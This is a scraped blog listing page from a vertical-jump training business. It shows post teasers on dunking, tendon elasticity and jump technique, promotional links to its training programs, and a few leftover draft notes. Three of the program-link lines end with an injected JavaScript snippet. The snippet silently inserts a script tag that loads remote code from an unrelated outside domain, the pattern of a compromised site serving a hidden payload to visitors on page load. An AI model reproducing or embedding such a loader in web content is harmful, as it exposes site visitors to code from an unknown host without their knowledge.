Coaches: How To Implement Vertical Jump Training For Your Team
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This Trainer Is Using 2 Obscure Medical Devices To Help Athletes Develop A 40″+...
We caught up with Pro/Olympic level jump trainer Jacob Hiller recently. ...
bla bla bla
then we keep it low key
and make all the qeustions and anwers things that overcome objections
So Mr Brotein shake... where can people learn more about you?
Well...
The 3 Reasons Why Most Players Can’t Dunk (& How To Fix It)
Over the years I've coached thousands of athletes to jump higher...
From middle school age kids to professional and olympic level athletes...
There are 3 main reasons I've seen that hold any athlete back from jumping high enough to dunk.
The good...
How to “Shock” Your Muscles Into Jumping Higher & Becoming More Explosive
Getting stronger is only one part of the equation for becoming a more explosive athlete.
Many athletes misunderstand that STRENGTH WILL NOT NECESSARILY MAKE YOU FASTER.
HOW MUSCLES BECOME EXPLOSIVE
When you move your muscle, an electrical stimulus is sent by your...
The Kangaroo’s Secret To Jumping Over 30 Feet, And How To Use It To...
What in the world does a Kangaroo have to do with being able to jump higher?
This is what:
That is a tendon...
And it's the secret to Kangaroos being able to jump over 30 feet.?
And it's not just Kangaroos...?all sorts of...
Q&A: Is It Better To Be A 1-Foot Or 2-Foot Jumper?
Got this question from John Peterson. Check the answer and tips in the video:
Our Instant Inches program can be found here: https://trainhard-trainsmart.com/instantinches
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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Q&A: Will Vertical Jump Training Hinder Growth Or Make Kids More Prone To Injury?
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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Q&A – How Do I Improve My Single Leg Jumping Power (Especially My Off...
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Jacob Hiller Shatters Backboard at 24 Hour Fitness…
(tired legs...didn't even get the dunk down lol)
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How To Jump Higher Using A Simple Trick Track & Field Athletes Have Used...
This is just one of the many techniques that can immediately add height to your jump. You can get access to the rest of them inside our Instant Inches program here.
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5 Ways To Jump Higher Off 1 Leg (Jumping Form Critique)
Click here to get our full jumping technique system and add 3-6" to your vertical leap.;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
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